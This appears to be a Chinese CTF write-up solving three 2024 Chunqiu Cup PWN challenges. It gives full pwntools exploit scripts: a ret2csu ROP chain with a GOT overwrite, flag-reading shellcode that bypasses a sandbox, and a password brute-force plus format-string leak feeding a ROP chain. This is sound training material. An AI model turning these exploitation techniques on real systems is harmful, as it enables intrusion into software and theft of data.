2024春秋杯网络安全联赛夏季赛-PWN
文章目录
- stdout
- 测试
- setvbuf(stdout, 0LL, 2, 0LL)绕过
- 或者输出直到缓冲区满
- 使用system("/bin/sh")或者onegadget即使setvbuf(stdout, 0LL, 0, 0LL);也能立即有回显
- 参考[https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/#toc-heading-4](https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/#toc-heading-4)
- 思路
- exp
- shuffle
- exp
- savetheprincess
- pread
- 参数说明
- 返回值
- 示例代码
- exp
stdout


溢出返回到vuln

然后rop

测试
#include <stdio.h>
#include <stdlib.h>int main() {//setvbuf(stdout, 0LL, 0, 0LL);setvbuf(stdin, 0LL, 2, 0LL);char a[20];printf("ouput1.\n");gets(a);printf("ouput2.\n");return 0;
}

取消掉注释后

setvbuf(stdout, 0LL, 2, 0LL)绕过
#include <stdio.h>
#include <stdlib.h>int main() {setvbuf(stdout, 0LL, 0, 0LL);setvbuf(stdin, 0LL, 2, 0LL);char a[20];printf("ouput1.\n");gets(a);setvbuf(stdout, 0LL, 2, 0LL);printf("ouput2.\n");gets(a);return 0;
}
执行 setvbuf(stdout, 0LL, 2, 0LL);可以看到之前的在缓冲区的上的已经输出

或者输出直到缓冲区满
使用system(“/bin/sh”)或者onegadget即使setvbuf(stdout, 0LL, 0, 0LL);也能立即有回显
#include <stdio.h>
#include <stdlib.h>int main() {setvbuf(stdout, 0LL, 0, 0LL);setvbuf(stdin, 0LL, 2, 0LL);char a[20];printf("ouput1.\n");gets(a);//setvbuf(stdout, 0LL, 2, 0LL);system("/bin/sh");gets(a);return 0;
}

#include <stdio.h>
#include <stdlib.h>
typedef void (*func_ptr)();
func_ptr onegadget;int main() {setvbuf(stdout, 0LL, 0, 0LL);setvbuf(stdin, 0LL, 2, 0LL);char a[20];printf("ouput1.\n");char* put_addr=&puts;onegadget=put_addr-0x84420+0xe3afe;asm("mov r12,0");printf("%p",put_addr);//setvbuf(stdout, 0LL, 2, 0LL);onegadget();//system("/bin/sh");return 0;
}
发现可行

参考https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/#toc-heading-4
显式调用fflush函数
流被关闭(调用fclose)
程序正常结束(调用exit)
思路
gadget不够,用csu里的,通过rop的一个特殊gadget修改got表,然后利用gadget满足onegadget的条件,最后调用覆盖got表

exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf=ELF("./pwn")
# p=remote("8.147.128.163",16035)
# gdb.attach(p,"b main")
# pause()elf=ELF("./pwn")ret_addr=0x000000000040125D
stdout=0x0000000000404070
csu=0x00000000004013CA
setvbuf=elf.plt["setvbuf"]
read=elf.got["read"]
put=elf.plt["puts"]
print(hex(read))
rbp=8*b"\xff"
payload=b"a"*0x50+rbp+p64(ret_addr)
p.sendline(payload)
#payload=b"a"*0x1f+rbp+p64(csu)+p64(1)+p64(2)+p64(stdout)+p64(0)+p64(0)+p64(0)+p64(0x00000000004013B0 ) +p64(2)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(setvbuf)
# .text:00000000004013B0 mov rdx, r14
# .text:00000000004013B3 mov rsi, r13
# .text:00000000004013B6 mov edi, r12d
# .text:00000000004013B9 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
# .text:00000000004013BD add rbx, 1
# .text:00000000004013C1 cmp rbp, rbx
# .text:00000000004013C4 jnz short loc_4013B0
# .text:00000000004013CA pop rbx
# .text:00000000004013CB pop rbp
# .text:00000000004013CC pop r12
# .text:00000000004013CE pop r13
# .text:00000000004013D0 pop r14
# .text:00000000004013D2 pop r15
# .text:00000000004013D4 retn# 0x00000000004011fc : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
#extent + csu
payload=b"a"*0x1f+rbp+p64(0x0000000000401287)+p64(csu)+ p64(0x5f6e4-6)+p64(0x0000000000404018+0x3d)+p64(0)+p64(0)+p64(0)+p64(0) +p64(0x00000000004011fc ) +p64(0x0000000000401287)
p.sendline(payload)p.interactive()

shuffle


使用openat,mmap,writev读Flag或者openat preadv2 writev等等


零字节绕过shuffle(零字节之前不为零的不能超过一个即可)
然后写入shellcode即可(没有栈,通过mmap分配的内容作为栈,进而存储字符串和iovec这个结构体)
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf=ELF("./pwn")
# p=remote("8.147.128.163",16035)
gdb.attach(p,"b main")
pause()shellcode = '''mov eax,0 ''' #寄存器都被设置为零 push 0出现段错误
# shellcode += shellcraft.openat(0xffffff9c,"flag",0)#openat(AT_FDCWD,"flag",O_RDONLY)
# shellcode +=shellcraft.mmap(0,0x100,1, 1,3,0) #mmap(0,0x100,PROT_READ, MAP_SHARED,3,0)
# shellcode +=shellcraft.writev(1,'rax',0x100)
# 0x1337000: mov rax,0x0
# => 0x1337007: push 0x67616c66
# 0x133700c: mov rsi,rsp
# 0x133700f: mov edi,0xffffff9c
# 0x1337014: xor edx,edx
# 0x1337016: xor eax,eax
# 0x1337018: mov ax,0x101
# 0x133701c: syscall
# 0x133701e: push 0x1
# 0x1337020: pop r10
# 0x1337022: push 0x3
# 0x1337024: pop r8
# 0x1337026: xor r9d,r9d
# 0x1337029: xor edi,edi
# 0x133702b: mov esi,0x1010201
# 0x1337030: xor esi,0x1010301
# 0x1337036: mov rdx,r10
# 0x1337039: push 0x9
# 0x133703b: pop rax
# 0x133703c: syscall
# 0x133703e: push 0x1
# 0x1337040: pop rdi
# 0x1337041: xor edx,edx
# 0x1337043: mov dh,0x1
# 0x1337045: mov rsi,rax
# 0x1337048: push 0x14
# 0x133704a: pop rax
# 0x133704b: syscall shellcode+='''
mov rdi,0
mov rsi,0x10
mov rdx,3
mov r10,0x22
mov r8,0xffffffff
mov r9,0
mov rax,0x9
syscall
mov rsp,rax
add rsp,24
push 0x67616c66mov edi, 0xffffff9c
mov rsi, rsp
xor edx,edx
xor eax,eax
mov ax,0x101
syscall
mov rdi,0
mov rsi,0x100
mov rdx,1
mov r10,1
mov r8,3
mov r9,0
mov rax,0x9
syscallpush 0x20
push rax
mov rdi,0x1
mov rsi,rsp
mov rdx,1
mov rax,0x14
syscall
'''
payload=asm(shellcode)
p.sendline(payload)
p.interactive()
测试的如下,对照着写shellcode就行了
#include<stdio.h>
#include<unistd.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<sys/types.h>
#include <sys/mman.h>
#include <errno.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main()
{int fd = openat(AT_FDCWD,"flag",O_RDONLY);if(fd==-1){printf("openat error!");}char*addr=mmap(0,0x100,PROT_READ, MAP_SHARED,fd,0);char*addr_=mmap(NULL, 0x10, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);write(1,addr,0x100);struct iovec iov;char str[] = "Hello ";// 准备 iovec 结构体iov.iov_base = str;iov.iov_len = strlen(str);// 使用 writev() 写入数据ssize_t n = writev(1, &iov, 1);return 0;
}

savetheprincess


openat+pread+write绕过





没有时间限制,也没有次数限制,可以爆破,26*7次,然后触发格式化字符串泄露canary和libc地址,然后溢出rop绕过沙箱

填充满buf,当输出buf时也会输出i从而判断是否i递增进而判断是否爆破该位正确

找不到控制第六个参数的gadget,mmap改成pread或者mprotect改栈为可执行权限,注意要页对齐,写shellcode使用openat,mmap,write读取flag
pread不能从终端输入,只能在之前加个泄露栈地址,然后flag名放栈上了
pread
pread() 函数在 Linux 和类 Unix 系统中用于从文件描述符指定的文件中读取数据,但与普通的 read() 函数不同,pread() 允许你指定从文件的哪个偏移量开始读取数据
pread() 的原型如下:
#include <unistd.h>ssize_t pread(int fd, void *buf, size_t count, off_t offset);
参数说明
fd: 文件描述符,指向要从中读取数据的文件。buf: 指向缓冲区的指针,读取的数据将被存放到这个缓冲区中。count: 要读取的字节数。offset: 读取操作的起点偏移量,相对于文件的开始位置,单位是字节。
返回值
pread() 返回实际读取的字节数。如果读取失败,函数将返回 -1 并设置 errno 变量来指示错误原因。
示例代码
下面是一个使用 pread() 的示例代码:
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>int main(void) {int fd;char buffer[100];off_t offset = 100; // 从文件的第100字节开始读取ssize_t bytes_read;// 打开文件fd = open("testfile.txt", O_RDONLY);if (fd == -1) {perror("open");exit(EXIT_FAILURE);}// 使用 pread 从文件的特定位置读取数据bytes_read = pread(fd, buffer, sizeof(buffer), offset);if (bytes_read == -1) {perror("pread");close(fd);exit(EXIT_FAILURE);}// 输出读取的数据buffer[bytes_read] = '\0'; // 确保字符串以 null 字符终止printf("Read %ld bytes: %s\n", bytes_read, buffer);// 关闭文件描述符close(fd);return 0;
}
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf=ELF("./pwn")
lib = ELF('./libc.so.6')
# p=remote("8.147.128.163",16035)
gdb.attach(p,"b main")
pause()password=""
for i in range(8):for j in range(26):p.sendlineafter(b"> \n",str(1))pwd=passwordpwd+=chr(ord("a")+j )p.sendafter(b"please input your password: \n",pwd.ljust(10,"a"))result=p.recvuntil(b"!!!\n",drop=True)print(pwd," ",result)print(i+1," ",result)if b"successfully" in result:password=pwdprint("suceessful")payload=b"%9$p%11$p%10$p%15$p" # canary pie libcp.send(payload)breakif i+1 in result:password=pwdprint("right")breakprint("error")canary=int(p.recv(18),16)
pie=int(p.recv(14),16)-0x17be
stack=int(p.recv(14),16)+0xa8+0x10
libc=int(p.recv(14),16)-0x29d90
openat_add=lib.sym["openat"]+libc
pread_add=lib.sym["pread64"]+libc
write_add=lib.sym["write"]+libc
print(hex(canary),hex(pie),hex(libc))
p.sendlineafter(b"> \n",str(2))pop_rdi=libc+0x000000000002a3e5
pop_rsi=libc+0x000000000002be51
pop_rdx_r12=libc+0x000000000011f2e7
pop_r10=pie+0x00000000000017d5
pop_r8_mov_rax_1=libc+0x00000000001659e6
pop_rax=libc+0x0000000000045eb0
syscall=libc+0x0000000000029db4
pop_rdx=libc+0x000000000003d1eepayload=56*b"a"+p64(canary)+p64(0)+p64(pop_rdi) +p64(0xffffffffffffff9c)+p64(pop_rsi)+p64(stack)+p64(pop_rdx_r12)+p64(0)+p64(0)+p64(openat_add)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+ p64(pie+0x4000)+p64(pop_rdx_r12)+p64(0x10)+p64(0x10)+p64(pop_rdx)+p64(0)+p64(pread_add)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+ p64(pie+0x4000)+p64(pop_rdx_r12)+p64(0x10)+p64(0x10)+p64(write_add)
payload+=b"flag\x00"
p.sendlineafter(b"Attack the dragon!!\n",payload)
p.interactive()

相关文章:
2024春秋杯网络安全联赛夏季赛-PWN
文章目录 stdout测试setvbuf(stdout, 0LL, 2, 0LL)绕过或者输出直到缓冲区满使用system("/bin/sh")或者onegadget即使setvbuf(stdout, 0LL, 0, 0LL);也能立即有回显参考[https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/#toc-heading-4](https…...
怎么提高音频声音大小?提高音频声音大小的四种方法
怎么提高音频声音大小?在音频处理和编辑中,增加声音的音量是一个常见的需求,尤其是在确保音频清晰度和听觉效果的同时。调整音频的音量不仅仅是简单地提高音频的响度,它也涉及到如何保持音质的高标准,确保没有失真或削…...
从数据仓库到数据湖(下):热门的数据湖开源框架
文章目录 一、前言二、Delta Lake三、Apache Hudi四、Apache Iceberg五、Apache Paimon六、对比七、笔者观点八、总结九、参考资料 一、前言 在上一篇从数据仓库到数据湖(上):数据湖导论文章中,我们简单讲述了数据湖的起源、使用原因及其本质。本篇文章…...
对话AI原生 | 千帆AppBuilder重构企业AI原生应用开发体验
人工智能和大模型正在引领当前最重要的科技创新趋势。在过去的一年中,行业关注点已从大模型研发转向实际应用,正成为推动创新和转型的关键力量。百度智能云千帆AppBuilder作为基于大模型的企业级AI原生应用开发工作台,支持应用的快速开发和发…...
CF253C Text Editor 题解
思路 既然要求最少步数,那我们可以用bfs 如果鼠标的位置比上一行的行末位置大,如果按上的话,移到上一行的行末。如果鼠标的位置比下一行的行末位置大,如果按下的话,移到下一行的行末。 注意当鼠标位置超过当前行最大…...
Spring Boot 创建定时任务
在现代应用程序开发中,定时任务是一个常见的需求。Spring Boot作为一个强大的框架,提供了简单易用的定时任务调度功能。本文将详细介绍如何在Spring Boot中创建和管理定时任务,并提供完整的代码示例。 1. 什么是定时任务 定时任务是指在预定…...
Vue使用Echarts(入门级)
最终效果: npm install echarts --save // 先安装echarts<template><!-- 创建一个dom区域用于挂载echarts图表 --><div id"chart" style"width: 600px;height:500px;"/> </template> <script> import * as ech…...
2025届秋招提前批信息汇总(计算机类)
私企篇 深信服 链接:https://app.mokahr.com/campus_apply/sangfor/27944#/home内推码:NTAHRFS截止时间:6月21日 TP-LINK 链接:https://hr.tp-link.com.cn/jobList?jobId107&jobDirection0&workPlace0¤tPa…...
Scala Collection(集合)
Scala Collection(集合) Scala集合库是Scala语言的核心特性之一,它提供了一套丰富的数据结构来存储、管理和操作数据。Scala集合分为可变(mutable)和不可变(immutable)两种类型,每种类型都有其特定的用途和优势。本文将详细介绍Scala集合库的基本概念、常用集合类型以及…...
Go 语言 UUID 库 google/uuid 源码解析:UUID version4 的实现
google/uuid 库地址 本文将解析 googl/uuid 库中 UUID 变体10版本4的实现。 版本 4 的 UUID 采取完全随机的方式实现,简单来说就是将 UUID 中的 122 位全部随机填充(剩余的 6 位作标记位)。版本 4 的 UUID 存在一定的重复风险,但…...
开发个人Go-ChatGPT--6 OpenUI
开发个人Go-ChatGPT–6 OpenUI Open-webui Open WebUI 是一种可扩展、功能丰富且用户友好的自托管 WebUI,旨在完全离线运行。它支持各种 LLM 运行器,包括 Ollama 和 OpenAI 兼容的 API。 功能 由于总所周知的原由,OpenAI 的接口需要密钥才…...
Spring中的工厂模式详解及应用示例
1. Spring中的BeanFactory BeanFactory是一个接口,表示它是一个工厂,负责生产和管理bean。在Spring中,BeanFactory是IOC容器的核心接口,定义了管理Bean的通用方法,如 getBean 和 containsBean。 BeanFactory与IOC容器…...
Electron 简单搭建项目
准备工作 全局安装 node npm创建文件夹,并执行 npm init安装 electron npm i electron --save-dev在 package.json 配置文件中的scripts字段下增加一条start命令: {"scripts": {"start": "electron ."} }由于配置中的入…...
旗晟智能巡检机器人:开启工业运维的智能化新篇章
在当今快速发展的工业领域,安全、效率和成本控制是企业运营的核心。旗晟科技以创新为驱动,推出了一站式的工业级智能巡检机器人数字化全景运维解决方案,为石油、天然气、化工、电力等高危行业提供了一个全新的运维模式。 一、面对挑战&#x…...
vue3的常用 Composition API有哪些?
Vue.js 3.0 引入了 Composition API,作为一种新的组织组件逻辑的方式,相比于传统的 Options API,Composition API 提供了更灵活、更可复用的代码组织方式。 以下是 Vue 3.0 中常用的 Composition API:setup() 函数: s…...
深度优先算法-DFS(算法篇)
算法之深度优先算法 深度优先算法(DFS) 概念: 深度优先算法(DFS)跟BFS算法一样是用于遍历图的算法,但是DFS并不像BFS算法一样,它搜索出来的路径不具有最短性,并且dfs算法类似于枚举,因此DFS算法一般用于求出问题的所…...
C++模块化之内部类
目录 1.引言 2.内部类的访问控制 3.优缺点分析 4.实际运用 4.1.实现复杂数据结构 4.2.封装细节实现 4.3.事件处理和回调 4.4.模板元编程辅助类 4.5. 访问控制和封装 4.6. 代码组织和模块化 5.总结 1.引言 在C中,内部类(Nested Classÿ…...
k8s-第九节-命名空间
命名空间 如果一个集群中部署了多个应用,所有应用都在一起,就不太好管理,也可以导致名字冲突等。 我们可以使用 namespace 把应用划分到不同的命名空间,跟代码里的 namespace 是一个概念,只是为了划分空间。 # 创建命…...
【AI大模型新型智算中心技术体系深度分析 2024】
文末有福利! ChatGPT 系 列 大 模 型 的 发 布, 不 仅 引 爆 全 球 科 技 圈, 更 加 夯 实 了 人 工 智 能(Artificial Intelligence, AI)在未来改变人类生产生活方式、引发社会文明和竞争力代际跃迁的战略性地位。当…...
王道计算机数据结构+插入排序、冒泡排序、希尔排序、快速排序、简单选择排序
本内容是基于王道计算机数据结构的插入排序、冒泡排序、希尔排序、快速排序、简单选择排序整理。 文章目录 插入排序算法性能代码 冒泡排序算法性能代码 希尔排序算法性能代码 快速排序算法性能代码 简单选择排序算法性能代码 插入排序 算法 算法思想:每次将一个…...
闽北哥-柔弱胜刚强:真正的强者,从不硬碰
柔弱胜刚强 ——真正的强者,从不硬碰“为什么真正厉害的人, 看起来都有些柔弱?🌿 因为—— 刚强自毁,柔弱长存。🔮 这不是权谋, 而是—— 天地运行的铁律。”🌊 一、误解千年&#x…...
告别Widgets?用QtQuick和QML为你的桌面应用注入现代感(附完整Demo)
从Qt Widgets到QtQuick:打造现代桌面应用的实战指南 在桌面应用开发领域,Qt框架一直以其跨平台能力和稳定性著称。然而,随着用户对界面体验要求的提升,传统的Widgets方式逐渐显露出局限性——动画生硬、响应迟钝、与现代操作系统风…...
重构直播互动体验:BLiveChat的跨平台弹幕解决方案
重构直播互动体验:BLiveChat的跨平台弹幕解决方案 【免费下载链接】blivechat 用于OBS的仿YouTube风格的bilibili直播评论栏 项目地址: https://gitcode.com/gh_mirrors/bl/blivechat BLiveChat作为一款开源的B站直播弹幕工具,通过仿YouTube风格的…...
4重防护构建安卓安全屏障:APKMirror应用管理全攻略
4重防护构建安卓安全屏障:APKMirror应用管理全攻略 【免费下载链接】APKMirror 项目地址: https://gitcode.com/gh_mirrors/ap/APKMirror 在安卓应用下载的数字丛林中,恶意软件如同潜伏的猎手,时刻准备利用用户对新版本的渴望发起攻击…...
MindSpore mint 模块学习
1. 模块概述mindspore.mint是 MindSpore 框架提供的一个功能接口子模块,旨在提供大量与业界主流深度学习框架(如 PyTorch)保持一致的 functional、nn、优化器等 API。使熟悉主流框架的用户能够快速上手。性能特点:在图编译模式为 …...
nanomsg性能基准测试终极指南:不同消息大小下的吞吐量对比分析
nanomsg性能基准测试终极指南:不同消息大小下的吞吐量对比分析 【免费下载链接】nanomsg nanomsg library 项目地址: https://gitcode.com/gh_mirrors/na/nanomsg nanomsg是一个轻量级、高性能的消息传递库,专为解决常见的通信模式而设计。作为na…...
ffmpegGUI:让FFmpeg视频处理技术大众化的跨平台图形界面工具
ffmpegGUI:让FFmpeg视频处理技术大众化的跨平台图形界面工具 【免费下载链接】ffmpegGUI ffmpeg GUI 项目地址: https://gitcode.com/gh_mirrors/ff/ffmpegGUI ffmpegGUI是一款基于FFmpeg核心技术开发的跨平台图形界面工具,旨在消除视频处理的技术…...
职场“对错陷阱“:为什么你越是讲理,领导越不待见你?
导语:小时候老师教我们"明辨是非",长大后却发现——在职场里太较真的人,往往混得最差。一、拍桌子的代价2023年春天,我亲眼看见林哥在会议室拍了桌子。"这需求根本不合理!数据库设计违反第三范式&#…...
告别IE时代:手把手教你用allWebPlugin在Chrome/Firefox中运行ActiveX控件(附多插件配置)
企业级ActiveX迁移实战:基于allWebPlugin的现代浏览器兼容方案 当某省级政务系统在2023年进行浏览器兼容性升级时,技术团队发现核心OA模块因依赖ActiveX控件无法在Chrome中运行。这个场景正在全国范围内重复上演——据行业调研显示,超过67%的…...
AI视频修复与画质增强完全指南:从低清到高清的视频优化解决方案
AI视频修复与画质增强完全指南:从低清到高清的视频优化解决方案 【免费下载链接】video2x A lossless video/GIF/image upscaler achieved with waifu2x, Anime4K, SRMD and RealSR. Started in Hack the Valley II, 2018. 项目地址: https://gitcode.com/GitHub_…...
